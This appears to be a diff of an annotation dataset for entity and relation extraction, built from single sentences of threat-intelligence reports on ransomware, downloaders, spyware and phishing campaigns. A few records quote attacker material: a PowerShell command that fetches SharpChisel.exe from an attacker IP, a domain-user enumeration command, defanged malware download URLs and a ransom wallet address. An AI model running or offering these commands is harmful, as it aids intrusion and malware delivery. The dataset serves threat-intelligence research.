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+{"id":5209,"text":"(*) A full mitigation will require relevant changes in the RTPS specification.","entities":[],"relations":[],"Comments":[]}
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+{"id":126,"text":"With the increasing value of cryptocurrency, such as bitcoin and Ethereum, and a better business model with higher returns than malware- and exploit-type attacks, it\u2019s no surprise these types of attacks are becoming more commonplace.","entities":[{"id":44603,"label":"SOFTWARE","start_offset":53,"end_offset":60},{"id":44604,"label":"SOFTWARE","start_offset":65,"end_offset":73}],"relations":[],"Comments":[]}
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+{"id":4240,"text":"Further analysis of this filestealer revealed interesting links with other threat actor groups.","entities":[],"relations":[],"Comments":[]}
+{"id":2937,"text":" In terms of who\u2019s been affected by this operation, again, we can only see half of those who have been affected.","entities":[],"relations":[],"Comments":[]}
+{"id":7572,"text":"The MSI Installer itself contains a FlawedAmmyy downloader, which is always signed.","entities":[{"id":23617,"label":"malware","start_offset":36,"end_offset":47}],"relations":[],"Comments":[]}
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+{"id":1815,"text":"     Figure 10. Creating a new account with admin rights      Figure 11. Checking for antivirus processes running     During the scan, we observed an attempt to terminate security products initiated via TaskKill.","entities":[],"relations":[],"Comments":[]}
+{"id":921,"text":"Finally, the malware changes the victim\u2019s wallpaper and generates a GUI instructing the victim how they can provide payment and retrieve their files.","entities":[],"relations":[],"Comments":[]}
+{"id":606,"text":"The spam the attackers use no long has a malicious attachment but instead a malicious link that downloads the malicious Hancitor attachment.","entities":[{"id":44794,"label":"malware","start_offset":120,"end_offset":128},{"id":44795,"label":"attack-pattern","start_offset":76,"end_offset":91},{"id":44796,"label":"attack-pattern","start_offset":41,"end_offset":61}],"relations":[{"id":24,"from_id":44796,"to_id":44794,"type":"delivers"},{"id":25,"from_id":44795,"to_id":44794,"type":"delivers"}],"Comments":[]}
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+{"id":2831,"text":"A security researcher in the United Kingdom initially registered this domain in order to track this threat, and soon discovered that in doing so, he had enabled this \u201ckillswitch\u201d, causing a number of instances of WanaCrypt0r to not execute for a large number of infected systems.","entities":[{"id":48041,"label":"location","start_offset":29,"end_offset":43},{"id":48042,"label":"malware","start_offset":213,"end_offset":224}],"relations":[],"Comments":[]}
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+{"id":10452,"text":"Act fast!","entities":[],"relations":[],"Comments":[]}
+{"id":5051,"text":"TAG has also continued to observe multiple ransomware brokers continuing to operate in a business as usual sense.","entities":[{"id":51139,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
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+{"id":12708,"text":"Although believed to have been active since 2011, TeamTNT stayed under the radar for many years before exploding onto the scene in 2020.","entities":[],"relations":[],"Comments":[]}
+{"id":167,"text":"Imagine having to click through \u201cAre you sure?\u201d dialog boxes for every document or picture you opened in a day.","entities":[],"relations":[],"Comments":[]}
+{"id":2527,"text":" Usually, the more successful ransomware operators put a lot of effort into establishing and maintaining some semblance of \u201cintegrity\u201d as a way of facilitating ransom payments from victims.","entities":[],"relations":[],"Comments":[]}
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-{"id":874,"text":" The following sample is used for analysis:  Figure 1.","entities":[],"relations":[],"Comments":[]}
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-{"id":876,"text":"analysis sample  PClock2 is written in Visual Basic.","entities":[{"id":46410,"label":"SOFTWARE","start_offset":39,"end_offset":51},{"id":44898,"label":"malware","start_offset":17,"end_offset":24}],"relations":[{"id":188,"from_id":44898,"to_id":46410,"type":"uses"}],"Comments":[]}
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-{"id":878,"text":" When initially executed, PClock2 performs a very simple anti-analysis check where it will sleep for a random amount of time and compare the time spent sleeping against a set value.","entities":[{"id":46412,"label":"malware","start_offset":26,"end_offset":33}],"relations":[],"Comments":[]}
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-{"id":880,"text":" Figure 2. Check by PClock2 for hooking of sleep function  A simple check is performed to determine if the malware is running with administrative privileges.","entities":[{"id":46413,"label":"malware","start_offset":20,"end_offset":27},{"id":46414,"label":"attack-pattern","start_offset":32,"end_offset":39}],"relations":[],"Comments":[]}
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-{"id":882,"text":"All data sent via HTTP POST requests is sent in the clear.","entities":[],"relations":[],"Comments":[]}
-{"id":883,"text":"Figure 3. HTTP POST request containing administrative privileges  ","entities":[],"relations":[],"Comments":[]}
-{"id":884,"text":"The ‘P0’ is statically set by the malware in the above request.","entities":[],"relations":[],"Comments":[]}
-{"id":885,"text":"The ‘1828’ represents the thread ID (TID) of the malware, while the ‘rnd’ GET variable is randomly generated.","entities":[],"relations":[],"Comments":[]}
-{"id":886,"text":" Throughout the runtime of PClock2, it makes multiple HTTP POST requests to a remote server using the same characteristics, including the ‘PO[TID]’ and the current time.","entities":[{"id":46416,"label":"malware","start_offset":27,"end_offset":34}],"relations":[],"Comments":[]}
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-{"id":890,"text":" PClock2 also enables persistence by setting the following registry key.","entities":[{"id":46421,"label":"malware","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":891,"text":"All instances of the entire PClock family have been found to use this particular registry key.","entities":[{"id":44901,"label":"malware","start_offset":28,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":892,"text":" After installation is complete, the malware makes another HTTP POST containing the various file paths it used.","entities":[],"relations":[],"Comments":[]}
-{"id":893,"text":" Figure 4. HTTP POST request containing file paths of malware  After installation, PClock2 will also set the following registry key with a value of ‘INSTALL_OK’.","entities":[{"id":46422,"label":"malware","start_offset":83,"end_offset":90}],"relations":[],"Comments":[]}
+{"id":821,"text":"At the time of release, Microsoft affirmed that they had not yet seen the vulnerability exploited in the wild (ITW).","entities":[{"id":46369,"label":"identity","start_offset":24,"end_offset":33}],"relations":[],"Comments":[]}
+{"id":70,"text":"Additionally, the risk of arrest and conviction is significantly lower than with ransomware, as mining cryptocurrency is less likely to generate reports to law enforcement than a data-destroying ransomware infection.","entities":[],"relations":[],"Comments":[]}
+{"id":2932,"text":"Our research shows this operation to be only about four months old.","entities":[],"relations":[],"Comments":[]}
+{"id":5621,"text":" Figure 1.","entities":[],"relations":[],"Comments":[]}
+{"id":535,"text":"We also observed that Mailto (AKA NetWalker) tends to deliver ransomware in a highly obfuscated PowerShell script.","entities":[{"id":1765,"label":"malware","start_offset":22,"end_offset":28},{"id":1766,"label":"malware","start_offset":34,"end_offset":43},{"id":46155,"label":"attack-pattern","start_offset":78,"end_offset":113}],"relations":[{"id":162,"from_id":1766,"to_id":1765,"type":"duplicate-of"},{"id":160,"from_id":46155,"to_id":1766,"type":"delivers"},{"id":161,"from_id":46155,"to_id":1765,"type":"delivers"}],"Comments":[]}
+{"id":5091,"text":"The attackers placed links to the exploit kit within hidden iframes, which they embedded on both websites they owned as well as some websites they compromised.","entities":[],"relations":[],"Comments":[]}
+{"id":13139,"text":"The result is a win-win for ISVs like Trend Micro and security-minded AWS customers.","entities":[{"id":48911,"label":"identity","start_offset":38,"end_offset":49},{"id":48910,"label":"SOFTWARE","start_offset":70,"end_offset":74}],"relations":[],"Comments":[]}
+{"id":14273,"text":"Code snippet of the device\u2019s Unix timestamp being sent to 0046769438867 Subsequently, the Maikspy-carrying app will display \"Error: 401. App not compatible.","entities":[{"id":48490,"label":"malware","start_offset":90,"end_offset":97}],"relations":[],"Comments":[]}
+{"id":6167,"text":"The registered Service Worker script can hijack login credentials and modify the webmail page to add malicious scripts in case the attackers were unable to inject the XSS vulnerability mentioned above.","entities":[{"id":19069,"label":"location","start_offset":37,"end_offset":40},{"id":19070,"label":"location","start_offset":66,"end_offset":69},{"id":19071,"label":"location","start_offset":89,"end_offset":93},{"id":19072,"label":"location","start_offset":122,"end_offset":126},{"id":19073,"label":"attack-pattern","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
+{"id":5204,"text":"Partially Mitigated*","entities":[],"relations":[],"Comments":[]}
+{"id":4480,"text":"In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.","entities":[{"id":50281,"label":"attack-pattern","start_offset":123,"end_offset":136}],"relations":[],"Comments":[]}
+{"id":2170,"text":" So far, Palo Alto Networks is only seeing indications of testing within our customer telemetry indicated by final payload execution of benign executables such as calc.exe and notepad.exe.","entities":[{"id":47302,"label":"identity","start_offset":9,"end_offset":27},{"id":47303,"label":"FILEPATH","start_offset":176,"end_offset":187},{"id":47304,"label":"FILEPATH","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]}
+{"id":4905,"text":"Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.","entities":[],"relations":[],"Comments":[]}
+{"id":5828,"text":"Jon:","entities":[],"relations":[],"Comments":[]}
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+{"id":13091,"text":"It\u2019s no coincidence that the global market for such solutions will grow at nearly 17% CAGR over the next six years to exceed $263 billion by 2027.","entities":[],"relations":[],"Comments":[]}
+{"id":1743,"text":"In addition to taking steps so the attacker\u2019s page mimics a legitimate one,  attackers often mirror well known security images, like the lock symbol, to convince you that you are on a secure site.","entities":[],"relations":[],"Comments":[]}
+{"id":3022,"text":"This means that what you would do for security for your digital home assistant would apply to smart speakers as well.","entities":[],"relations":[],"Comments":[]}
+{"id":17,"text":" So basically you have two choices:","entities":[],"relations":[],"Comments":[]}
+{"id":6973,"text":"We observed this group using another Android RAT \u2014 TrendMicro has named this \u201cCapraRat\u201d\u2014 which is possibly a modified version of an open-source RAT called AndroRAT.","entities":[{"id":21841,"label":"malware","start_offset":37,"end_offset":48},{"id":21844,"label":"attack-pattern","start_offset":137,"end_offset":143}],"relations":[],"Comments":[]}
+{"id":4919,"text":" We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.","entities":[],"relations":[],"Comments":[]}
+{"id":2968,"text":" 1. Use a Password Manager:","entities":[],"relations":[],"Comments":[]}
+{"id":4485,"text":" Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments.","entities":[],"relations":[],"Comments":[]}
+{"id":7692,"text":"The macros directly download the file created using NSIS installer from hxxp:\/\/45[.]67[.]229[.]36\/p2, which is the same binary we found in the .ISO and .LNK files that install ServHelper.","entities":[{"id":23922,"label":"malware","start_offset":52,"end_offset":56},{"id":23923,"label":"location","start_offset":115,"end_offset":119},{"id":23924,"label":"location","start_offset":148,"end_offset":151},{"id":23925,"label":"malware","start_offset":176,"end_offset":186}],"relations":[],"Comments":[]}
+{"id":3746,"text":" As of this writing, no proofs of concept for exploitation of CVE-22972 or CVE-2022-22973 are known.","entities":[{"id":49571,"label":"vulnerability","start_offset":75,"end_offset":89},{"id":49570,"label":"vulnerability","start_offset":62,"end_offset":71}],"relations":[],"Comments":[]}
+{"id":5392,"text":"       Figure 12.","entities":[],"relations":[],"Comments":[]}
+{"id":13477,"text":"The sites typically feature fake login pages that prompt potential victims to give up their Google account credentials, and occasionally encourage individuals to give up other personal information, such as their phone numbers.","entities":[],"relations":[],"Comments":[]}
+{"id":11675,"text":"The spear-phishing attack","entities":[{"id":35813,"label":"location","start_offset":4,"end_offset":9},{"id":35814,"label":"attack-pattern","start_offset":10,"end_offset":18}],"relations":[],"Comments":[]}
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+{"id":12517,"text":"To add resilience to their infrastructure, the operators have also implemented a backup mechanism using the Bitcoin blockchain.","entities":[],"relations":[],"Comments":[]}
+{"id":2957,"text":" Internet Explorer is used in many of the networks Palo Alto Networks protects around the world and we\u2019re doing our part to make it as secure as possible.","entities":[{"id":48114,"label":"SOFTWARE","start_offset":1,"end_offset":18},{"id":48113,"label":"identity","start_offset":51,"end_offset":69}],"relations":[],"Comments":[]}
+{"id":724,"text":"Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
+{"id":1486,"text":"But as we noted earlier, apps signed by the same certificate can automatically grant sharing relationships amongst themselves.","entities":[],"relations":[],"Comments":[]}
+{"id":1502,"text":" The tangible and intangible impacts of this loss of control vary based on respective backdoor capabilities, and may include the following: leakage of authentication credentials, loss of intellectual property, exposure of sensitive information, negative standing or reputation, and various levels of liability for actions executed on or from the compromised asset.","entities":[],"relations":[],"Comments":[]}
+{"id":9751,"text":"Run registry key We assume that RunPow stands for \u201crun PowerShell,\u201d and triggers the PowerShell code embedded inside the .dll file.","entities":[{"id":29736,"label":"attack-pattern","start_offset":55,"end_offset":65},{"id":29737,"label":"location","start_offset":68,"end_offset":71},{"id":29738,"label":"attack-pattern","start_offset":85,"end_offset":95}],"relations":[],"Comments":[]}
+{"id":3021,"text":"And many smart speakers have digital home assistants built into them, making the distinction even less clear.","entities":[],"relations":[],"Comments":[]}
+{"id":4727,"text":"Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.","entities":[{"id":50631,"label":"identity","start_offset":21,"end_offset":30}],"relations":[],"Comments":[]}
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+{"id":4505,"text":"Google Safe Browsing helps protect over four billion devices every day by showing warnings to users when they attempt to navigate to unsafe sites or download harmful files.","entities":[{"id":50305,"label":"SOFTWARE","start_offset":0,"end_offset":20}],"relations":[],"Comments":[]}
+{"id":1771,"text":"If we went even further, all three vulnerabilities are Use-After-Free bugs.","entities":[],"relations":[],"Comments":[]}
+{"id":6,"text":" A very serious campaign was launched between January 19, 2015 and January 20, 2015, and  Palo Alto Networks Enterprise Security Platform has discovered more than 1000 unique attacks since.","entities":[{"id":22,"label":"identity","start_offset":90,"end_offset":108},{"id":44570,"label":"TIME","start_offset":46,"end_offset":62},{"id":44571,"label":"TIME","start_offset":67,"end_offset":83}],"relations":[],"Comments":[]}
+{"id":2735,"text":"As always, we recommend keeping your Microsoft products up to date with the latest patches to mitigate this vulnerability.","entities":[{"id":47977,"label":"identity","start_offset":37,"end_offset":46}],"relations":[],"Comments":[]}
+{"id":1962,"text":" This vulnerability is being referred to as MS14-066.","entities":[{"id":45196,"label":"vulnerability","start_offset":44,"end_offset":52}],"relations":[],"Comments":[]}
+{"id":195,"text":" Full visualization of the techniques observed, relevant courses of action and indicators of compromise (IoCs) related to this report can be found in the Unit 42 ATOM viewer.  We will continue to provide updates with new information and recommendations as they become available.","entities":[{"id":45780,"label":"SOFTWARE","start_offset":154,"end_offset":173}],"relations":[],"Comments":[]}
+{"id":3259,"text":"Decoded \u201cjoin\u201d event sent to the C&C server.","entities":[],"relations":[],"Comments":[]}
+{"id":2729,"text":"As always, we recommend our customers patch their systems as soon as possible.","entities":[],"relations":[],"Comments":[]}
+{"id":10949,"text":"On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
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+{"id":5290,"text":"In 2021, Trend Micro published a technical analysis of VPNFilter, which includes a discussion of how the botnet continues to affect infected systems two years after its discovery.","entities":[{"id":51344,"label":"malware","start_offset":55,"end_offset":64},{"id":51342,"label":"TIME","start_offset":3,"end_offset":7},{"id":51343,"label":"identity","start_offset":9,"end_offset":20}],"relations":[],"Comments":[]}
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-{"id":896,"text":" The following registry keys are also used within the CLOCK sub-path by PClock2:  PClock2 proceeds to use the API from blockchain.info to generate a unique Bitcoin (BTC) wallet identifier, which is configured to automatically forward payments to a hardcoded wallet identifier of ‘1MRfkK134ErfbcadUSoSUCBahngCqoBKju’.","entities":[{"id":46423,"label":"malware","start_offset":72,"end_offset":79},{"id":46424,"label":"malware","start_offset":82,"end_offset":89},{"id":46425,"label":"DOMAIN","start_offset":119,"end_offset":134}],"relations":[],"Comments":[]}
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-{"id":904,"text":"Figure 6.","entities":[],"relations":[],"Comments":[]}
-{"id":905,"text":"HTTP POST request containing unique SHA256 key  PClock2 scans the file system of the victim in order to identify files that are to be encrypted.","entities":[],"relations":[],"Comments":[]}
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-{"id":907,"text":" Once files are identified, PClock will begin encrypting them, one-by-one.","entities":[{"id":46430,"label":"malware","start_offset":28,"end_offset":34}],"relations":[],"Comments":[]}
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+{"id":8818,"text":"In previous posts, we discussed targeting of health organizations as well as attacker efforts to impersonate the World Health Organization.","entities":[],"relations":[],"Comments":[]}
+{"id":3151,"text":"In this environment, security remains a persistent concern for cloud builders, because if not properly managed, investments can increase the digital attack surface.","entities":[],"relations":[],"Comments":[]}
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+{"id":4816,"text":"Indicators: The Follina vulnerability (CVE-2022-30190), first disclosed in late May, received significant usage from both APT and cybercrime groups throughout June after it was patched by Microsoft.","entities":[{"id":50744,"label":"identity","start_offset":188,"end_offset":197},{"id":50745,"label":"TIME","start_offset":80,"end_offset":83},{"id":50743,"label":"TIME","start_offset":159,"end_offset":163},{"id":50742,"label":"vulnerability","start_offset":16,"end_offset":54}],"relations":[],"Comments":[]}
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+{"id":1344,"text":"As a result of these attacks, numerous government websites were found to be either defaced or inaccessible.","entities":[],"relations":[],"Comments":[]}
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+{"id":9376,"text":"We did catch four C&C IP addresses, all hosted on a legitimate service.","entities":[],"relations":[],"Comments":[]}
+{"id":7720,"text":"Opening the documents will enable the macros and download the same FlawedAmmyy downloader as the .ISO file iteration from hxxp:\/\/92[.]38[.]135[.]67 or hxxp:\/\/27[.]102[.]70[.]196, with filenames k1 or k2.","entities":[{"id":23979,"label":"location","start_offset":22,"end_offset":26},{"id":23980,"label":"location","start_offset":45,"end_offset":48},{"id":23981,"label":"location","start_offset":62,"end_offset":66},{"id":23982,"label":"tools","start_offset":67,"end_offset":78}],"relations":[],"Comments":[]}
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+{"id":4139,"text":"It made good use of these tools to achieve its goal and keep its operation hidden and unobstructive.","entities":[],"relations":[],"Comments":[]}
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+{"id":2046,"text":"Running a search for the non-UTF-16LE string results in multiple files, and filtering for executables yields 10 results, the majority of which are NIM-based binaries \u2013 potentially linked to this GitHub repository.","entities":[{"id":45232,"label":"SOFTWARE","start_offset":195,"end_offset":212}],"relations":[],"Comments":[]}
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+{"id":14183,"text":"Hacking collective Anonymous has also claimed responsibility for multiple hacktivist attacks in Russia.","entities":[],"relations":[],"Comments":[]}
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+{"id":11108,"text":"This targeting is consistent with what others have subsequently reported.","entities":[],"relations":[],"Comments":[]}
+{"id":4746,"text":"These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.","entities":[],"relations":[],"Comments":[]}
+{"id":2836,"text":"We analyzed our known WanaCrypt0r samples and extract the following Bitcoin (BTC) addresses likely associated with the attackers and associated totals:  This results in a total of 36 BTC, or roughly $63k based on the current price of BTC.","entities":[{"id":48045,"label":"identity","start_offset":22,"end_offset":33},{"id":48046,"label":"SOFTWARE","start_offset":68,"end_offset":81}],"relations":[],"Comments":[]}
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+{"id":4294,"text":"Even with the best security technology, there is still a chance of an attack slipping through.","entities":[],"relations":[],"Comments":[]}
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+{"id":2153,"text":"The HTML code from the remote template is shown in Figure 1 below.","entities":[],"relations":[],"Comments":[]}
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+{"id":12661,"text":"Trend Micro solutions Ransomware continues to be a lingering threat, something we mentioned in our last Annual Security Roundup after seeing that the number of ransomware cases we detected climbed from 55 million in 2018 to 61 million in 2019.","entities":[],"relations":[],"Comments":[]}
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+{"id":8528,"text":"During the pandemic, we also uncovered attackers posing as news providers with a \u201cCovid19 news software.\u201d","entities":[],"relations":[],"Comments":[]}
+{"id":5539,"text":"Using automated tools to scan the internet for companies that may be running unsecured servers, which they can then infect with Magecart.","entities":[],"relations":[],"Comments":[]}
+{"id":5428,"text":"This is also why, after more than two years, there are still live VPNFilter hosts out there.","entities":[{"id":51432,"label":"malware","start_offset":66,"end_offset":75}],"relations":[],"Comments":[]}
+{"id":13148,"text":"Primarily motivated by information theft and espionage, the group has also been seen adopting different strategies such as fine-tuning tools with new behaviors and going mobile with surveillanceware.","entities":[],"relations":[],"Comments":[]}
+{"id":13485,"text":"We\u2019ve also shared occasional updates about this kind of activity, and today we\u2019re introducing a more streamlined way of doing this via a new, quarterly bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns (foreign and domestic).","entities":[],"relations":[],"Comments":[]}
+{"id":596,"text":"But it\u2019s effective enough that when used in several hundred different spam campaigns every month it pays for the criminals to keep up these attacks against targets around the world.","entities":[],"relations":[],"Comments":[]}
+{"id":1648,"text":"Users who want to defend against the Funtasy Trojan should not rely on traditional antivirus programs, as they do not currently detect this threat.","entities":[{"id":46865,"label":"malware","start_offset":37,"end_offset":44}],"relations":[],"Comments":[]}
+{"id":6469,"text":"The next command issued is the following: powershell.exe iwr -uri http:\/\/87.236.212[.]184\/SharpChisel.exe -outfile c:\\programdata\\SharpChisel.exe -usebasicparsing","entities":[{"id":20108,"label":"URL","start_offset":66,"end_offset":89}],"relations":[],"Comments":[]}
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+{"id":1862,"text":"In addition, aside from its availability, the decision to choose the specific rootkit driver file is for its capability to execute in kernel mode (therefore operating at a high privilege).","entities":[],"relations":[],"Comments":[]}
+{"id":6131,"text":"Table 5  ","entities":[],"relations":[],"Comments":[]}
+{"id":13731,"text":"A Waterbear infection starts from a malicious DLL loader, as shown in Figure 1.","entities":[],"relations":[],"Comments":[]}
+{"id":7579,"text":"We recently observed an instance where the FlawedAmmyy downloader was not digitally signed (FlawedAmmyy RAT payload is still signed, however).","entities":[{"id":23630,"label":"malware","start_offset":43,"end_offset":54}],"relations":[],"Comments":[]}
+{"id":118,"text":"One key area is hardening your cloud account credentials, as these will be regularly targeted by malicious actors.","entities":[],"relations":[],"Comments":[]}
+{"id":3929,"text":"    Deobfuscation technique","entities":[],"relations":[],"Comments":[]}
+{"id":3243,"text":"The script of a simple HTTP server to return string \u201cdm_online\u201d     If the malware finds that the system username is \u201cvbccsb\u201d","entities":[],"relations":[],"Comments":[]}
+{"id":122,"text":"To get more details on all the different threats and attacks we observed, download and read the full report here.","entities":[],"relations":[],"Comments":[]}
+{"id":5024,"text":"When opened, the DOCX file would attempt to download a unique PNG file from the same attacker controlled domain.","entities":[],"relations":[],"Comments":[]}
+{"id":608,"text":"Figure 2 shows one of these that was made to look like an Amazon shipping notice.","entities":[{"id":46202,"label":"identity","start_offset":58,"end_offset":64}],"relations":[],"Comments":[]}
+{"id":9303,"text":" HTML Element ID Mirrorthief JSON Data Schema Information _cc_number aa","entities":[],"relations":[],"Comments":[]}
+{"id":5847,"text":"That's what you're probably going to see in the future as well.","entities":[],"relations":[],"Comments":[]}
+{"id":13092,"text":"But with new technology always comes new cyber risk.","entities":[],"relations":[],"Comments":[]}
+{"id":3439,"text":"Since the release of this advisory, mass scanning activity has started to occur, seeking unpatched systems, and in-the-wild exploitation has begun.  Palo Alto Networks released a Threat Prevention signature for the F5 BIG-IP Authentication Bypass Vulnerability (92570) and within just 10 hours, the signature triggered 2,552 times due to vulnerability scanning and active exploitation attempts.","entities":[{"id":49201,"label":"identity","start_offset":149,"end_offset":168},{"id":49203,"label":"vulnerability","start_offset":225,"end_offset":268},{"id":49204,"label":"TIME","start_offset":285,"end_offset":293},{"id":49202,"label":"tools","start_offset":215,"end_offset":224}],"relations":[{"id":754,"from_id":49202,"to_id":49203,"type":"has"}],"Comments":[]}
+{"id":1303,"text":"The following Python code can be used for decryption, using the 'gh204503254' key:  At this stage, the remote server can send a number of different responses.","entities":[],"relations":[],"Comments":[]}
+{"id":6463,"text":"cmd.exe net user \/domain","entities":[{"id":20104,"label":"malware","start_offset":0,"end_offset":7},{"id":20105,"label":"malware","start_offset":8,"end_offset":11}],"relations":[],"Comments":[]}
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+{"id":5248,"text":"A simple WHOIS query of AnubisSpy\u2019s C&C server showed it abused a legitimate managed hosting service provider in Belize.","entities":[{"id":51286,"label":"location","start_offset":113,"end_offset":119},{"id":16127,"label":"malware","start_offset":24,"end_offset":33}],"relations":[],"Comments":[]}
+{"id":3590,"text":"The second indicator has to do with one of the methods of CyaX which was modified -- specifically the one injecting the binary in memory.","entities":[{"id":49373,"label":"tools","start_offset":58,"end_offset":62}],"relations":[],"Comments":[]}
+{"id":4901,"text":"In one case, we observed a fake social media page copying content from an existing software company.","entities":[],"relations":[],"Comments":[]}
+{"id":3132,"text":" How does it work?","entities":[],"relations":[],"Comments":[]}
+{"id":14267,"text":"Based on the analysis of samples that were last seen in the wild in March 2018, the Maikspy variant (detected by Trend Micro as AndroidOS_MaikSpy.HRX) that runs on Android poses as Virtual Girlfriend to lure users into visiting the attackers\u2019 malicious domain.","entities":[{"id":48487,"label":"malware","start_offset":128,"end_offset":149},{"id":48488,"label":"SOFTWARE","start_offset":164,"end_offset":172},{"id":48486,"label":"identity","start_offset":113,"end_offset":124},{"id":48489,"label":"SOFTWARE","start_offset":181,"end_offset":200},{"id":48484,"label":"TIME","start_offset":68,"end_offset":78},{"id":48485,"label":"malware","start_offset":84,"end_offset":92}],"relations":[{"id":429,"from_id":48487,"to_id":48489,"type":"related-to"},{"id":430,"from_id":48484,"to_id":48485,"type":"related-to"},{"id":431,"from_id":48485,"to_id":48487,"type":"related-to"},{"id":432,"from_id":48487,"to_id":48488,"type":"targets"}],"Comments":[]}
+{"id":3794,"text":" Point of Entry  Spear-phishing emails containing decoy documents Malicious shortcut (LNK) files and PowerShell Self-extracting archive (SFX) Runtime packers    Spear-phishing emails containing decoy documents exploiting CVE-2017-8759    Spear-phishing emails containing decoy documents exploiting  CVE-2017-11882, DDEAUTO, Microsoft Office Frameset and Link auto update   Notable Tools  Hacking Tools Second-stage payloads    Koadic Hacking Tools Second-stage payloads    Koadic Hacking Tools Second-stage payloads   Backdoor  ChChes    ANEL    ANEL     Technical Analysis  Figure 1.","entities":[{"id":49644,"label":"attack-pattern","start_offset":17,"end_offset":31},{"id":49645,"label":"attack-pattern","start_offset":50,"end_offset":65},{"id":49650,"label":"attack-pattern","start_offset":238,"end_offset":252},{"id":49647,"label":"attack-pattern","start_offset":101,"end_offset":157},{"id":49648,"label":"attack-pattern","start_offset":161,"end_offset":175},{"id":49649,"label":"vulnerability","start_offset":221,"end_offset":234},{"id":49651,"label":"vulnerability","start_offset":299,"end_offset":313},{"id":49652,"label":"attack-pattern","start_offset":271,"end_offset":286},{"id":49654,"label":"malware","start_offset":473,"end_offset":479},{"id":49655,"label":"malware","start_offset":528,"end_offset":534},{"id":49656,"label":"malware","start_offset":538,"end_offset":542},{"id":49657,"label":"malware","start_offset":546,"end_offset":550},{"id":49653,"label":"malware","start_offset":427,"end_offset":433}],"relations":[],"Comments":[]}
+{"id":6011,"text":"We have not observed any Gmail accounts successfully compromised during these campaigns.","entities":[],"relations":[],"Comments":[]}
+{"id":13830,"text":"Figure 12.","entities":[],"relations":[],"Comments":[]}
+{"id":1094,"text":"But what if IE is running and also updating that file?","entities":[{"id":46565,"label":"SOFTWARE","start_offset":12,"end_offset":14}],"relations":[],"Comments":[]}
+{"id":8024,"text":"On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
+{"id":7205,"text":"This shows that the attacker has expanded his target base, and is interested in the software itself and not just their ActiveX objects.","entities":[{"id":22512,"label":"location","start_offset":46,"end_offset":52},{"id":22513,"label":"location","start_offset":59,"end_offset":62},{"id":22514,"label":"location","start_offset":100,"end_offset":103},{"id":22515,"label":"identity","start_offset":108,"end_offset":112}],"relations":[],"Comments":[]}
+{"id":13923,"text":"Part of the ransomware execution code checks for the geolocation of potential victims to avoid companies in these countries, although the group would likely be aware of the location of a target organization long before the ransomware is executed.","entities":[],"relations":[],"Comments":[]}
+{"id":1768,"text":"To address such an issue, we\u2019ve created signatures 36442, 36468, and 36469 to provide coverage for the security flag overwrite.","entities":[],"relations":[],"Comments":[]}
+{"id":7583,"text":"NSIS Installer NSIS is a legitimate tool that manages the installation for Windows, but some hacking groups also abuse it.","entities":[{"id":23640,"label":"malware","start_offset":0,"end_offset":4},{"id":23641,"label":"malware","start_offset":15,"end_offset":19},{"id":23642,"label":"location","start_offset":36,"end_offset":40}],"relations":[],"Comments":[]}
+{"id":4441,"text":"In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.","entities":[],"relations":[],"Comments":[]}
+{"id":3553,"text":"We saw a rising usage of tools that provide fully-undetectable obfuscation capabilities \u2013 signifying that the authors behind the samples designed their malware variants to be as stealthy as possible.","entities":[],"relations":[],"Comments":[]}
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+{"id":5825,"text":"That's one of the first areas on either side they're looking to obtain dominance, is to knock out the command and control.","entities":[{"id":18009,"label":"tools","start_offset":88,"end_offset":93},{"id":18010,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
+{"id":13705,"text":"Users can also turn on mail inspection for sender \u201csendgrid[.]net\u201d in the email gateway.","entities":[{"id":48798,"label":"URL","start_offset":49,"end_offset":66}],"relations":[],"Comments":[]}
+{"id":3963,"text":"Attackers will work to identify vulnerable applications used in systems to exploit them and install web shells for remote code execution or data exfiltration.","entities":[{"id":49821,"label":"attack-pattern","start_offset":115,"end_offset":136},{"id":49822,"label":"attack-pattern","start_offset":92,"end_offset":110},{"id":49823,"label":"attack-pattern","start_offset":140,"end_offset":157}],"relations":[],"Comments":[]}
+{"id":3850,"text":"Overall, we can see subtle changes, which indicate that the threat actors behind ANEL are making incremental improvements to the malware to refine it.","entities":[{"id":49699,"label":"malware","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
+{"id":4814,"text":"It also downloads a list of targets from an external site, but unlike the Turla apps, it continually sends requests to the target websites until it is stopped by the user.","entities":[{"id":50737,"label":"threat-actor","start_offset":74,"end_offset":79}],"relations":[],"Comments":[]}
+{"id":13027,"text":"These campaigns were sent using newly created Gmail accounts to non-Google accounts, so the success rate of these campaigns is unknown.","entities":[{"id":48864,"label":"SOFTWARE","start_offset":46,"end_offset":52}],"relations":[],"Comments":[]}
+{"id":3573,"text":"Figure 3.","entities":[],"relations":[],"Comments":[]}
+{"id":1689,"text":"Emails were sent to targets containing malicious attachments.","entities":[{"id":45097,"label":"attack-pattern","start_offset":39,"end_offset":60}],"relations":[],"Comments":[]}
+{"id":7654,"text":"Using a different infrastructure to distribute spam","entities":[],"relations":[],"Comments":[]}
